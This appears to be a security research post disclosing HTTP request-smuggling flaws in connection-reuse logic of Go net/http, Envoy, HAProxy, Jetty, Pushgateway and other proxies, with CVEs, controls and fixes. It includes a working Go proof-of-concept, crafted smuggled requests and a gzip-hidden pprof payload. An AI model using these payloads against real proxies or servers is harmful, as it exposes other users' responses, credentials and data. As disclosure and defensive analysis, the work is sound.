TL;DR
Connection reuse is a trust decision, and these ten products make it on a connection where the previous request is not finished: a body written with no delimiter, a body received and never read, framing taken from the inbound request rather than the bytes being forwarded, a parser reset over bytes still in the buffer. Reuse is what turns that into someone else’s problem rather than a later request of your own, and it is not itself the defect. Turning it off takes the crossings to zero in all four families and leaves the defect where it was: Envoy still wrote the DATA, HAProxy still announced the wrong length, Jetty still forwarded the surplus and the origin still parsed it. It is not the same switch in each product, and it contains the damage rather than removing the bug.
Four mechanisms, each with a worked case, wire traces and a control.
Pre-grant write writes the body for a tunnel or a
protocol switch with no delimiter, before the peer has agreed to either, and a
refusal leaves it in the request stream.
Go net/http · Traefik · Caddy · Envoy · nghttpx
Unproven-drain reuse keeps a connection in
service on a check that reports a drain it never performed.
Go net/http again, its server half, measured in a shipped binary as
Prometheus Pushgateway
Promise-credited framing takes the framing it prints from the request it received instead of from the bytes it forwards. HAProxy · Jetty · APISIX
Reset-with-debt clears parser state while the connection still holds the previous request’s bytes. Netty · Elasticsearch
Most software gets this right. Of the 19 backend configurations I measured, 18 were clean. What did not reproduce has the numbers and the one exception.
This is independent research I did through 2026. Further findings in these families are under coordinated disclosure and are not in this post.
New to this? Six things the rest of the post assumes. Skip if you know them.
1. Connections are reused, and proxies share them between strangers. Opening a TCP connection is expensive, so nothing opens one per request. A proxy keeps a pool of open connections to the server behind it, called the origin, and hands them out as requests arrive. The connection that carried your request a moment ago will carry someone else’s next. That sharing is the whole attack surface in this post: if a connection is handed over in a bad state, the person who gets it next is a stranger.
2. Both ends have to agree where each message ends. Requests arrive back
to back on one connection, so a receiver needs to know where to stop reading.
There are two ways to tell it. Content-Length: 57 means read exactly 57 more
bytes. Chunked encoding instead sends the body in pieces, each one introduced
by its size in hexadecimal, with a zero-sized chunk marking the end:
17 <- the next chunk is 0x17 = 23 bytes
Hello, this is 23 bytes
0 <- zero chunk: the body is over
3. Smuggling is what happens when the two ends disagree about that boundary. The connection is then desynchronised, usually shortened to desync: the two ends no longer agree about where they are in the byte stream. If a proxy thinks a request ended at byte 57 and the server thinks it ended at byte 12, the 45 bytes in between are still sitting in the server’s buffer. The server reads them as the beginning of the next request. An attacker who controls those bytes has just placed a request on the connection that the proxy never saw and never checked. Then two things follow: the server owes a response nobody asked for, so whoever gets that connection next receives it, and the smuggled request is waiting to be completed by the next person’s bytes, which can include their session cookie.
4. Some requests ask to change what the connection means. CONNECT asks a
proxy to stop being a proxy and become a plain tunnel; an Upgrade request
asks to switch protocol, to WebSocket for example. Both are requests, not
commands. The other end grants a CONNECT by answering 2xx and an upgrade by
answering 101, and only after that does the connection stop being ordinary
HTTP. A refusal leaves it exactly as it was, still parsing requests. In HTTP/2
and HTTP/3 a body travels in DATA frames, and the method, scheme and path
travel as pseudo-headers written with a leading colon. The 101 above is the HTTP/1 form. An upgrade in those
versions is an extended CONNECT, granted by a 2xx on the stream rather
than by a 101, which carries in :protocol the token
HTTP/1 would put in Upgrade.
5. This post is about a different disagreement from the usual one. That
kind comes from the two ends parsing differently, one honouring
Content-Length and the other Transfer-Encoding. In the bugs
here, nobody parses anything incorrectly. Every party reads the bytes exactly
right. The disagreement is about whether the exchange is finished, and the
damage is done when one side returns a connection to the pool while bytes
belonging to the last user are still unaccounted for.
6. Two words the measurements are written in. A crossing is one measured
instance of the above: one request that read bytes belonging to somebody
else’s. A control is the same test run again with one thing changed that
ought to stop it, like turning connection reuse off. Controls are there
because a test that never fails is not measuring anything, so each one is
reported with its own count. Figures are written n of m: m is how many
trials or victims that arm had, and n is how many showed the thing just
named, which in a control is usually the thing not happening.
The result first
A victim in its own container, on its own QUIC connection, asked for
/account. It got 200 OK and this body:
ATTACKER_XCONTAINER_MARKER_q7w8e9_SLOW
The proxy in front of it had decided, correctly by its own accounting, that the backend socket it leased to that victim was clean. It was not. It was carrying the answer to 88 bytes of someone else’s request, which the origin had parsed and was still answering.
The question each component got wrong
I read connection-reuse code in HTTP proxies, servers and client libraries, looking for one thing: what each component accepts as proof that an exchange has finished and the socket may serve someone else.
The method was source-first rather than black-box. Find the predicate that authorises reuse, work out what it can and cannot observe, then build a lab that makes it wrong and see whether a second client can be made to read the first one’s bytes.
Which of four places holds the mistake turned out to be a better way to group these findings than either the product or the protocol version. Four components decide something about the end of a message, and each can be wrong on its own:
| Component | Decides | Goes wrong by |
|---|---|---|
| Write scheduler | when bytes are allowed onto the wire | sending them under a meaning the other end has not agreed to yet, so they arrive as something it was not expecting |
| Reuse predicate | whether a connection may be handed to a new user | answering with something that cannot see whether the last exchange finished, so the next person inherits the leftovers |
| Serializer | what framing to print in front of a body | taking it from the request it received rather than the bytes in hand, so the backend looks for the end of the body in the wrong place |
| Parser state machine | how much of the message is still outstanding | resetting on an error without discarding what was already read, so the next parse starts mid-request |
Each gets a section below: the clearest case worked all the way to the wire, and the rest folded underneath it.
Protocol version is not one of these, which surprised me. HTTP/1 ends a
message by counting, by a zero chunk, or by closing the connection, and the
counting case is the one here: the headers promise a length and the receiver
reads that many bytes. HTTP/2 and HTTP/3 add a per-request end-of-stream signal
HTTP/1 never had: an END_STREAM flag in HTTP/2, and in HTTP/3 the end of the
QUIC stream itself.
That signal is a convenience and it is also the trap. A component can believe it on its own and skip the counting, and it only describes what the client stopped sending. It says nothing about what a backend further down the chain did with the bytes already forwarded to it. So the newer protocols are where a premature “we’re done” signal comes from, and any of the four places above can act on one without checking.
1. Pre-grant write
Bytes emitted under a meaning the peer has not granted yet, with no delimiter, because the component expects the grant to come. A CONNECT payload written before the 2xx, or upgrade data written before the 101, creates the debt before any reuse decision is reached, and a refusal is what leaves it in the request stream. The debt is the bytes themselves: written onto the connection, and accounted for by neither end.
The clearest case is CVE-2026-56866 in Go’s net/http. For a CONNECT
request, Transport writes the body immediately after the header block, with
no chunked encoding, no Content-Length and no delimiter of any kind, and it
does this before the backend has said anything at all.
Caddy inherits this. It reverse-proxies through net/http, so the write above
is the one its own backend connections make, and the trace below is that
defect seen through a shipped proxy rather than a second one.
The attacker sends a plain HTTP/3 CONNECT with early DATA, no :scheme and no
:path, whose 88-byte payload is a complete HTTP/1 request. Below is one TCP
socket between Caddy and Apache, with byte offsets on that socket and in
marking the backend’s replies:
seq 190:403 len 213 CONNECT caddy.local:80 HTTP/1.1
Via: 3.0 Caddy
seq 403:491 len 88 GET /slow-marker HTTP/1.1
X-Smuggle-Attacker: crosscontainer-att
in HTTP/1.1 405 Method Not Allowed
Content-Length: 264
seq 491:688 len 197 GET /account HTTP/1.1 <- the victim
in HTTP/1.1 200 OK
ATTACKER_XCONTAINER_MARKER_q7w8e9_SLOWPRX written and routed by the proxyATT the attacker's body, written unframed and never routedORG the origin answeringattacker bytes that originated with the attackervictim bytes that originated with the victim
The smuggled request line starts at sequence 403, in its own segment,
immediately after the CONNECT header block, with no chunk size in front of it
and no Content-Length describing it.
The 405 is what makes this work. Had Apache granted the CONNECT, it would
have stopped reading those bytes as HTTP at all and started shovelling them
down a tunnel, which is the whole point of a tunnel. It refused instead. A
refusal leaves the connection exactly where it was, still parsing requests,
and the proof is in the response itself: Apache’s 405 carries
Content-Length: 264 and keeps the connection alive, which no tunnel would.
So it refused a method, and then read the next 88 bytes as what they look
like.
Nothing in the transport records that the socket is dirty, because nothing in the transport is tracking what the backend did with those bytes. The write happened. That is all it knows.
Apache logged a request the proxy never routed. The controls, and why only CONNECT.
This is Apache’s own log from the run above, the side of it Caddy never sees. One source port, one Apache child, and the keep-alive counter climbing through all five requests:
src=172.18.0.3:47156 pid=10 kacount=0 kastatus=+ status=200 reqline="GET / HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=1 kastatus=+ status=200 reqline="GET / HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=2 kastatus=+ status=405 reqline="CONNECT caddy.local:80 HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=3 kastatus=+ status=200 reqline="GET /slow-marker HTTP/1.1"
src=172.18.0.3:47156 pid=10 kacount=4 kastatus=+ status=200 reqline="GET /account HTTP/1.1"attacker bytes that originated with the attackervictim bytes that originated with the victim
kacount=3 is a request the proxy never routed and no client ever sent.
kacount=4 is the victim, one behind it on the same socket.
The same run with KeepAlive Off gives four distinct source ports,
kacount=0 on every line, and no smuggled request line at all. The victim got
VICTIM_OWN_ACCOUNT_BODY_v1c2t9.
One more control separates the write from the handover. Against a backend that
does read the CONNECT body, draining it until the socket goes idle and
consuming all 88 bytes, want=88 got=88 in 10 of 10, the socket was still
pooled, still handed to the victim, and the victim still read its own answer,
10 of 10. The same backend with the drain switched off crosses 10 of 10, and so
does one that holds its 405 back by the drain’s own 300 ms, so neither the
backend nor the added delay is what removed the crossing. Reuse on its own is
harmless. The unframed, unconsumed body is the defect.
That backend had to be written for the control. An unframed body has no length, so reading it to idle is the only way to consume one, and no general-purpose server offers that.
Why only CONNECT. The same body under three methods, with
ContentLength: -1, 10 trials each:
CONNECT 127.0.0.1:41453 HTTP/1.1 POST /p HTTP/1.1
Accept-Encoding: gzip Transfer-Encoding: chunked
GET /smuggled HTTP/1.1 23
Host: x GET /smuggled HTTP/1.1
Host: x
no Transfer-Encoding
no Content-Length 0
0 of 10 trials framed it
POST and an Upgrade GET both come out chunked, beginning with a chunk-size
line rather than a method token, so neither can be read as a request. The
Upgrade GET splits across two chunks, 1 and 0x22, because GET is usually
bodyless and probeRequestBody steals one byte to test for emptiness
(transfer.go:216).
CONNECT is excluded from framing deliberately.
shouldSendChunkedRequestBody returns false for it at transfer.go:184, and
writeBody copies an unframed body straight through at transfer.go:373-378.
Line numbers are go1.27.1. The exclusion is right for a tunnel that was
granted. It is applied before anyone has granted it.
Reproducing it without a proxy. One http.Transport, two requests, a
backend that answers CONNECT with a keep-alive non-2xx:
tr := &http.Transport{MaxIdleConns: 100, MaxIdleConnsPerHost: 100}
payload := "GET /slow-marker?d=2.0 HTTP/1.1\r\nHost: " + addr +
"\r\nX-Smuggled: 1\r\n\r\n"
att := &http.Request{
Method: "CONNECT", URL: &url.URL{Scheme: "http", Host: addr}, Host: addr,
Header: make(http.Header),
Body: io.NopCloser(strings.NewReader(payload)),
ContentLength: -1,
}
tr.RoundTrip(att) // 405, socket returns to the idle pool
time.Sleep(500 * time.Millisecond)
vic, _ := http.NewRequest("GET", "http://"+addr+"/account", nil)
tr.RoundTrip(vic) // reads the attacker's queued response
Against Apache 2.4.69 that crossed 25 of 25.
A declared Content-Length is not a defence, although one value looks like it.
Apache consumes exactly as many body bytes as the CONNECT declares, then parses
whatever follows. Declare the exact length of the smuggled request and the
arithmetic swallows all of it: 0 of 25. Content-Length: 0 crosses 25 of 25.
A Content-Length: 10 over ten bytes of filler crosses 25 of 25.
Transfer-Encoding: chunked with a terminating zero chunk crosses 25 of 25.
In the real path neither proxy declares anything: captured inside Apache’s own
network namespace during a crossing, both Caddy and httputil.ReverseProxy
write the CONNECT header block with no Content-Length and no
Transfer-Encoding.
The smuggled endpoint also has to be slow. Against a fast one the smuggled
response is produced before the victim arrives, lands on a connection still
idle in the pool, and readLoopPeekFailLocked logs it and closes the socket
(transport.go:2640 and transport.go:2647): 0 of 10. Against a two-second endpoint, 10 of 10.
Three more products: Traefik CVE-2026-71324, Envoy CVE-2026-73548, nghttpx, and why Caddy's report was dismissed
Traefik CVE-2026-71324 inherits this through net/http. The write-up is
at i0.rs,
with the scenario matrix and the serversTransport workarounds. What is below
is the measurement rather than the account of it.
At v3.6.23 its proxy path is the Director form, forces
outReq.Proto = "HTTP/1.1" at pkg/proxy/httputil/proxy.go:65-66, and
contains no MethodConnect branch anywhere in the file.
64 victim connections per build, 8 victims in each of 8 trials, Traefik
restarted between trials, correlated by a per-request tag the backend echoes.
v3.6.23: 64 of 64 wrong, 8 trials of 8. v3.6.24: 0 of 64, every victim
receiving its own tagged body, so that zero is not a dead instrument. On the
3.7 line I ran one cascade rather than eight: v3.7.9 gave 0 of 8, and
pkg/proxy/httputil/connect.go is absent at v3.7.8 and present at v3.7.9,
which is the same boundary the 3.6 line shows.
Per trial, victim 1 reads the attacker’s body and victims 2 through 8 each read their predecessor’s. Over 64 connections that is 8 carrying the attacker’s own marker and 56 carrying another user’s. The connection crossed for all 64; only 8 got the attacker specifically.
It is not a pool-size artefact. With the stock dynamic configuration and no
serversTransport block at all it still crossed 64 of 64. It does depend on
the victims’ own responses being slow: against an instant endpoint exactly one
victim per trial crosses, because Go closes a pooled socket on which an
unsolicited response has already landed.
On the wire the patched build does two things and only one of them stops the
crossing. Connection: close on the forwarded CONNECT is the mechanism: built
on its own it gives 0 of 64 against a backend that refuses the CONNECT and
0 of 64 against one that answers it 200. The zero payload bytes come from a
second change in the same release, a deferral that holds the body until the
backend accepts. On its own that does deliver 0 bytes, and a stock
traefik/whoami still crosses 64 of 64, because it answers the CONNECT with a
keep-alive 200 and the deferral releases on any 2xx. With only the header,
127 payload bytes still arrive and the backend discards them unparsed. The
commits are 94a750881, which introduces pkg/proxy/httputil/connect.go, a
file that does not exist at v3.6.23, and 0807b6d5, which adds the header. FastProxy was never affected: it chunk-frames the payload, so it
arrives as body content.
Caddy, GHSA-xg5r-v2fg-97hh, was dismissed, since Caddy cannot remove the
behaviour without diverging from the transport it is built on.
nghttpx, GHSA-8xjx-55xw-h6h6: push_upload_data_chunk() writes HTTP/2
DATA to the HTTP/1 backend before acceptance, and an END_STREAM with a 405
and an empty local write buffer satisfies can_detach_downstream_connection().
Fixed on 22 May in ab28105c and shipped in 1.70.0 on 29 July. I built both
releases and drove the attack at each: on 1.69.0 the smuggled DATA reaches the
backend before acceptance 80 of 80 times and a third of the following victims
read somebody else’s answer, and on 1.70.0 and current master it reaches the
backend 0 of 80 while the CONNECT itself still arrives and is still answered
405. On the fixed build nghttpx closes that socket as soon as the 405
comes back instead of returning it, a median of 0.000 s later against 0.850 s
on 1.69.0, and no later request lands on it in 80 of 80 cases. The new
blocked_request_buf_.rleft() == 0 clause in
can_detach_downstream_connection() is why: the unaccepted DATA is still in
that buffer, so the connection cannot be detached. The project did
not publish this HTTP/2 CONNECT report. A public entry does exist for a
different vector fixed by the same commit: CVE-2026-58055 /
GHSA-xrr7-82jr-v58x covers HTTP/1.1 Upgrade with Content-Length, reported
by a different finder. GitHub’s autogenerated notes carry the combined change as
one line, “Nghttpx upgrade”. The project’s own 1.70.0 announcement is plainer:
it says the release “tightens up CONNECT and HTTP Upgrade handling to shut
down the possibility of the request smuggling attack”.
Envoy CVE-2026-73548 is the one worth sitting with, because Envoy already
had the invariant. It pauses for plain CONNECT and it pauses for WebSocket. It
just does not pause for anything else. I ran all three through a single
1.36.0 process, one bootstrap with CONNECT, websocket and foo all
enabled, 36 trials interleaved:
plain CONNECT 12 trials held 12, zero DATA bytes upstream
:protocol websocket 12 trials held 12, zero DATA bytes upstream
:protocol foo 12 trials crossed 12
Two branches and no third. upstream_request.cc sets paused_for_connect_ for
a CONNECT method and paused_for_websocket_ for a WebSocket upgrade. By the
time the router sees an extended CONNECT, transformUpgradeRequestFromH2toH1
has rewritten the method to GET and moved :protocol into Upgrade, so the
first cannot fire, and isWebSocketUpgradeRequest compares the Upgrade
value against websocket with absl::EqualsIgnoreCase
(source/common/http/utility.cc:686-690), so the second cannot either. Framing is then disabled in
codec_impl.cc, and conn_pool.cc pools the socket on encode_complete_
without asking whether a response is still queued.
The bytes carry their own provenance:
GET / HTTP/1.1
host: envoy.local
upgrade: foo
connection: upgrade
x-forwarded-proto: https
x-request-id: 2a125618-ff99-401a-8107-c0aae4f587cd
x-envoy-expected-rq-timeout-ms: 30000
GET /slow-marker?d=2.0 HTTP/1.1
Host: envoy.local
X-Smuggled: FCREUSE20261025T090629Z11324217-T7
GET /account?t=7 HTTP/1.1
host: envoy.local
x-forwarded-proto: https
x-request-id: 4637ba7b-2ed8-46ee-87db-22c141c86818
x-envoy-expected-rq-timeout-ms: 30000attacker bytes that originated with the attackervictim bytes that originated with the victim
Three request units on one upstream socket, read off the wire between Envoy
and the origin. The smuggled request keeps the attacker’s capitalisation and
carries no x-request-id, while both units Envoy proxied are normalised to
lowercase and tagged. Those bytes never passed through Envoy’s HTTP layer. The
third unit is the victim’s own request, arriving on the socket that already
holds them. Across 252 recorded units, 96 smuggled and 156 proxied, there is
no exception in either direction: every smuggled unit carries exactly Host
and X-Smuggled and no x-request-id in any case form.
12 of 12 against Apache 2.4.69 and 12 of 12 against nginx 1.31.6. Removing the
token gives 0 of 12, with Envoy answering 403 itself. Disabling upstream
reuse gives 0 of 12, though Envoy still wrote the DATA every time. The fix is
one runtime guard, and it isolates without changing binaries: on a single
1.36.13 image,
envoy.reloadable_features.http_pause_generic_upgrade_request_body set true
held 12 of 12, set false on the same digest crossed 12 of 12.
One bound worth stating: this needs an operator to have configured a
non-WebSocket upgrade token. Against a WebSocket-only configuration I tried ten
token encodings over 40 trials, including case variants, whitespace padding and
websocket,foo, and got zero.
2. Unproven-drain reuse
A connection is reused on evidence that cannot show whether the request body was read. The body bytes are still sitting in the receive buffer, so the next request to use that connection starts inside them.
Here the evidence is a body field that middleware routinely replaces. In the nghttpx and Envoy cases above it is an empty local write buffer or a completed local write.
Go’s HTTP server gets this wrong independently of its client, and it is the
half that measured worse for other people. closedRequestBodyEarly() decided
whether a request was abandoned before its body was read, with a type
assertion:
body, ok := w.req.Body.(*body) // go1.26.5, server.go:1715-1718
Request.Body is exported, and middleware wraps or replaces it as a matter of
course, although Go’s own Handler contract says a handler should not modify
the request except by reading the body. Any middleware that wraps it, a gzip reader or a tracer or a size limiter, makes that
assertion fail. The surrounding cleanup, whose job is to read and discard
whatever the handler left unread, falls to its default branch, reads the
already-closed native body, and takes ErrBodyReadAfterClose as proof the body
was consumed. The handler returns early, the wire bytes are still there,
keep-alive is kept, and the next parse starts inside them.
This is a server-side defect, and on its own it stays within one client: the server’s keep-alive hands the leftover bytes to the next request on the same connection, which is the same client’s. It reaches other people when a proxy in front pools backend connections across users. That is the arrangement measured in the fold below, where 89 of 131 victims behind Caddy received another user’s account page.
A minimal server with body-wrapping middleware, 180 trials across eight toolchains. One trial is a request whose body the handler never reads, followed by a second request on the same connection, counted as a crossing when the second one is parsed out of the first one’s leftover bytes. Each figure below is crossings out of trials:
affected fixed
go1.21.13 20 of 20 go1.27.0 0 of 20
go1.24.13 20 of 20 go1.27.1 0 of 20
go1.25.14 20 of 20
go1.26.5 40 of 40
go1.26.7 20 of 20
go1.26.10 20 of 20
go1.27.0 replaced three reads of that mutable field with reads of a saved
native body. The change is
CL 794640, “net/http:
don’t rely on server request body not changing”, with a regression test called
TestServerConnectionReuse/large_wrapped_body. It was not backported to the
1.26 series. golang:1.26 resolves to go1.26.10, the newest 1.26 patch,
which still carries the assertion and still crossed 20 of 20.
I reported this, and Go declined it:
Since this report requires a middleware layer to violate the documented requirements of the Handler interface (“Except for reading the body, handlers should not modify the provided Request.”), we do not consider it to be a security bug. https://go.dev/cl/794640 addresses this as a hardening measure.
The wrapping that argument rests on is the gzip readers, tracers and size limiters named above.
I found the same defect in other shipped products. Those are under coordinated disclosure and are not in this post.
A health check answered with a CPU profile in Prometheus Pushgateway, and 89 of 131 victims reading another user's account page in a second service.
Four controls on that same minimal server, 160 trials, and nothing crossed in
any of them, on either toolchain. The handler closes the native body rather than the wrapper the
middleware put round it. The handler reads the body all the way to the end.
The attacker’s own request, the one carrying the smuggled bytes in its body,
sends Connection: close. And that body is 200,000 bytes, under Go’s
262,144-byte maxPostHandlerReadBytes threshold.
That last one has its reason in the source. (*body).Close records an early
close only when more than the threshold is still unread; under it, the
remaining bytes are drained instead, so none are left on the connection
(transfer.go:987-1002 on the 1.26 line these controls ran against; go1.27
rewrote that block and it sits at :1002-1018 there).
In a shipped binary. Prometheus Pushgateway 1.11.3, built with go1.26.3,
behind HAProxy with http-reuse always. One valid gzip POST to a route that
404s, Content-Length: 324242, with the inner request at body offset 4,096
inside stored DEFLATE blocks. A stored block holds its bytes uncompressed, so
the smuggled request arrives at the socket as readable text while the whole body
stays a valid gzip stream:
1f 8b 08 00 00 00 00 00 00 ff gzip, DEFLATE, no flags, mtime 0, OS 255
00 ec 0f 13 f0 stored block, BFINAL=0 BTYPE=00, LEN=0x0fec
...
00 ff ff 00 00 second stored block, LEN=0xffff
GET /debug/pprof/profile?seconds=3 HTTP/1.1
Host: pushgateway
Content-Length: 0000320028
A victim whose only request was GET /-/healthy received a real pprof CPU
profile, its string table holding /bin/pushgateway, samples, cpu and
nanoseconds, delivered in 2.956 s, matching the inner ?seconds=3. Five of
five, with http-reuse never, identity encoding, a sub-threshold filler and a
no-attack arm all at zero.
HAProxy’s own log puts it more precisely than I can. A genuine health check on
this build logs 200 121 in 0 ms; the crossings log 200 449 in about
2,960 ms. And in the backend capture, across ten trials HAProxy wrote the
victim’s GET /-/healthy to Pushgateway exactly once, and that one write
was the single trial that did not cross. In the other nine the victim’s request
never reached the application at all. The miss was a retry: HAProxy abandoned
the poisoned pooled connection and opened a fresh one.
The rebuild is the whole fix. 1.11.4 ships built with go1.27.1 and crossed
0 of 10, but upstream bumped dependencies in the same release, so that moves
two variables. The matched pair moves one: pushgateway@v1.11.3, module graph
pinned by its own go.mod, under two toolchains.
v1.11.3 source, built go1.26.7 10 of 10 crossed
v1.11.3 source, built go1.27.0 0 of 10
What it does to other users. This arm is not Pushgateway. It is a small
authenticated Go service with the same wrapped-body middleware, behind three
stock proxies, 131 victim requests on a Poisson schedule. All three hold their
backend pool at one connection, the same lab setting as the Pushgateway arm
above: max_conns_per_host 1 in Caddy, max_conns=1 with keepalive 1 in
nginx, maxconn 1 on the HAProxy server line. That pin makes a run this small
deterministic, and it is also why two of these rows only mean anything beside
a control.
Caddy, reuse on, go1.26.5 89 of 131 received another user's account page
nginx, reuse on, go1.26.5 0 of 131 crossed; its 82 502s are max_conns=1
HAProxy, reuse on, go1.26.5 2 of 131 injected; its 30 503s are maxconn 1
Caddy, reuse off, go1.26.5 0 of 131, on 133 separate backend connections
Caddy, reuse on, go1.27.0 0 of 131
I ran the same victim schedule twice more, once with no attacker at all and once with a benign attacker that holds the single permitted connection for the same three seconds without smuggling anything:
attack no attacker benign occupancy
Caddy disclosures 89 of 131 0 of 131 0 of 131
nginx 502 82 of 131 82 of 131 104 of 131
HAProxy 503 30 of 131 4 of 131 34 of 131
HAProxy injected 2 of 131 0 of 131 0 of 131
So only the Caddy disclosures and the two HAProxy injections are the defect.
nginx’s 82 is max_conns=1: when its one permitted upstream connection is
busy nginx does not queue, it logs no live upstreams and returns 502, and it
did that to the attacker too. In all eight pinned nginx runs the smuggled
request never reached the backend at all. HAProxy’s 503 column is the same
effect with a different trigger, since both smuggled requests ask for a
1,500 ms delay and two ordinary slow requests cause more 503s than the attack
does. The two injected responses are real, because an attacker-chosen body
cannot arrive without the smuggled request having run.
Take the pin out and change nothing else, and the same attack reaches two victims behind Caddy, two behind HAProxy and none behind nginx. Pinning the pool does not decide whether the socket gets poisoned. It decides how many people are routed back onto it.
One of those 89, verbatim: a victim authenticated as bob received
PRIVATE_ACCOUNT user=frank api_key=AK-frank-3ee94c18 balance=$9,845.73.
3. Promise-credited framing
A proxy takes the framing it announces, a Content-Length, a chunk size or a
Transfer-Encoding, from the request it received instead of from the bytes it
forwards. The backend then looks for the end of the body in the wrong place.
HAProxy CVE-2026-90678 does it where an HTTP/3 request is translated into
HTTP/1 for the backend. A POST with no Content-Length carries a DATA frame
header declaring 100 bytes; only 50 arrive, then a standalone QUIC FIN in its
own packet. Arriving alone, with no data beside it, the FIN takes a frame-level
path that checks the body size only when a Content-Length was parsed, and this
request has none. HAProxy emits:
POST /probe/b33b2954a71a36b7 HTTP/1.1
transfer-encoding: chunked
64
FAM3-ATK-b33b2954a71a36b7-FAM3-ATK-b33b2954a71a36b0
The next five bytes, read twice
- HAProxy writes 0\r\n\r\n. Chunk closed, exchange finished, connection pooled.
- The backend is 50 short, so it counts those five as chunk data. 55 of 100, waiting on 45, taken from whoever has the connection next.
attacker bytes that originated with the attacker
64 is 100 in hexadecimal: the length the client declared, not the 50 bytes
HAProxy actually has. It has just told the backend to expect twice what it is
about to send.
It then makes the second mistake. Having run out of body, it writes the
end-of-body marker, 0\r\n\r\n. But the backend is still 50 bytes short of
the chunk it was promised, so it does not read that as a marker at all. It
counts those five bytes as five more bytes of chunk data, reaching 55 of 100,
and goes on waiting for the remaining 45. A clean 3.2.21 emits 32, which is
50, and the marker lands where a marker should.
Those 45 bytes come from whoever uses the connection next. In one run they
were the victim’s own request line, read as chunk data for somebody else’s
body. The victim was on a separate QUIC connection, and got back a 200 that
reported the method and target the backend had parsed, neither of which it had
asked for. The target came from the attacker’s run. The method was the victim’s
own header line, x-fam3-run:, read as if it were a method.
Over-announced emissions, by version:
3.3.17 30 of 30 3.2.21 0 of 30
3.4.2 30 of 30 3.2.26 0 of 30
3.4.4 30 of 30
3.4.6 30 of 30
Those counts are emissions of the wrong length and not crossings: of the six versions, the wrong length went on to cross between clients on 3.4.2 and 3.4.4 only. The two clean versions carry none of the internal plumbing that passes a declared length from one protocol layer to the next, so their serializer can only use what it is holding. On 3.4.4 the take rate is every opportunity: an over-announced emission with another request behind it on the same backend socket had those bytes swallowed every time, in two runs on different days. It takes exactly 45 bytes each time, with no variance in either run. Which client that lands on is a pool matter rather than a property of the defect. Most of the crossings ate a victim’s request line; the rest ate the attacker’s own next request, which spends the desync on its author. The proportions move between runs because the pool decides which request is next, so they are a fact about my lab rather than about anyone’s traffic.
The crossing also needs an origin that answers before it reads the body it was promised. Against an origin that reads first, the same build still over-announces 30 of 30 and crosses 0 of 60. The framing defect does not depend on the origin; reaching another user with it does.
Reuse off leaves the wrong length on the wire. Versions above the fix still over-announce. Jetty and APISIX share the defect.
Why it happened. 3.4.4 checks the body size on the standalone-FIN path
only when a Content-Length header was parsed. This request has none, so
nothing compares the bytes that arrived against the length the client
declared, and the serializer prints the declared one.
Reuse is not what makes it wrong. With http-reuse never the serializer
still over-announces 30 of 30 and nothing crosses, because 91 requests got 91
backend connections. The wrong number goes out either way; the pool only
decides whether anyone else is there to receive the consequences.
Upstream. Three commits on 2026-09-03 closed it. 86a4ebc closes the
connection with H3_FRAME_ERROR when a FIN arrives on a frame still short of
its declared length, which is after anything already forwarded. 4721a96f
stops a connection still owing body bytes from going back into the pool, and
6f59a49 refuses to write trailers or the final zero chunk while an earlier
chunk is unfinished. All three reached stable users in 3.3.15 and 3.4.5 on
2026-09-24, where the changelog line is BUG/MAJOR: h3: reject H3 truncated frames.
Above the fixed releases. 3.3.17 still over-announces 30 of 30, and so
does 3.4.6, while crossing 0 of 60. The guard fires, and it fires late: the
64 reaches the backend a median 2.6 ms after the short DATA frame and a
median 78.5 ms before the FIN that rejects it, on 30 of 30 shots, and the
backend’s read then fails 0.1 ms after that FIN. So it emits the same 64,
writes no terminator, and closes the connection instead of returning it to
the pool, which is what its log’s CL-- termination flag records. With
nothing pooled there is no next user to hand the leftovers to. 3.2.26
isolates the guard on its own: it announces the correct 32 and still writes
no terminator, where 3.2.21, which differs from it by that one commit, writes
both.
One qualifier on that 30 of 30. The 64 only escapes if the request head and
the short DATA frame are in flight together, because that is when HAProxy
writes them to the backend in one pass. A client that flushes the head first
and the DATA frame 150 ms later gets nothing out of a fixed release: 3.3.17,
3.4.6 and 3.2.26 each emitted no chunk-size line at all in that variant, 0 of
3, while 3.4.4 emitted 64 3 of 3 beside them. Above the fix this is still a
framing bug, but it is one in a race the attacker has to win.
Jetty 12.1.11’s HTTP/3 ProxyHandler is the same family reached a
different way. A POST declares content-length: 4 and sends 78 DATA bytes:
AAAA followed by a complete 74-byte request. Jetty forwards all 78 while
announcing 4. ChannelRequest.getLength() returns the declared header value
regardless of how many bytes arrive, and HttpGenerator.committed() writes
what it is handed without comparing against it.
Surplus forwarded 20 of 20, second request parsed at the origin 20 of 20,
victims hurt 20 of 20 opportunities. Apache httpd behind a byte recorder
confirms it independently: its own access log shows the smuggled GET as a
later keep-alive request on the same connection as the POST, taking the 2.5 s
the smuggled request asked for. The control changes one header value and
nothing else: content-length: 78 for the same 78 bytes gives zero across
every column, and carries 42 requests rather than the baseline’s 62, which is
exactly the 20 smuggled requests it never forwards.
Reuse is the amplifier here too. With Jetty’s own backend pool at
maxUsage=1, so that each connection serves one exchange and is then closed,
the surplus is still forwarded 20 of 20 and the origin still parses the
smuggled request 20 of 20, while crossings go to 0 of 20 and all 20 victims
read their own page. The same rig’s baseline carried its 62 origin requests
on one backend connection and hurt 20 of 20 victims; at maxUsage=1 the same
traffic takes 42, and those 42 split in a way a bare zero would hide: the 20 that carried an attacker POST also carried the smuggled
GET it created, one keep-alive request later on the same source port
(kacount=1 in Apache’s log), and that set and the victims’ connections do not
overlap at all. The attacker still poisons a socket. It is only ever its own.
The same Jetty process refuses this over HTTP/2. HTTP2Stream tracks a
dataLength against the declared value and resets the stream on a mismatch,
and all 20 shots got PROTOCOL_ERROR with the body never forwarded.
HTTP3Stream has no references to dataLength at all. Jetty accepted this as
a bug and declined both a CVE and an advisory, because its H3 connector is
experimental.
APISIX 3.16.0 reaches the same place from the other direction. Not a length
that is too large, but a coding that no longer applies. nginx de-chunks the
client’s body before the Lua layer sees it, and generic-upstream.lua:63
copies the client’s Transfer-Encoding: chunked onto the upstream request
anyway. api7-lua-resty-http 0.2.3 is then handed a plain string carrying a
chunked header, suppresses Content-Length, and writes the string raw. That
string is the attacker’s body after nginx has de-chunked it, and it begins with
the literal bytes 0\r\n\r\n, which the attacker put there as content rather
than framing. Apache 2.4.68 on its default keep-alive config reads them as the
terminating chunk and parses what follows, a complete GET /slow?d=2.0, as a
second request.
5 of 5 at worker_processes 1; 5 of 24 at the shipped four workers, where the
per-worker cosocket pools decide which worker is holding the poisoned
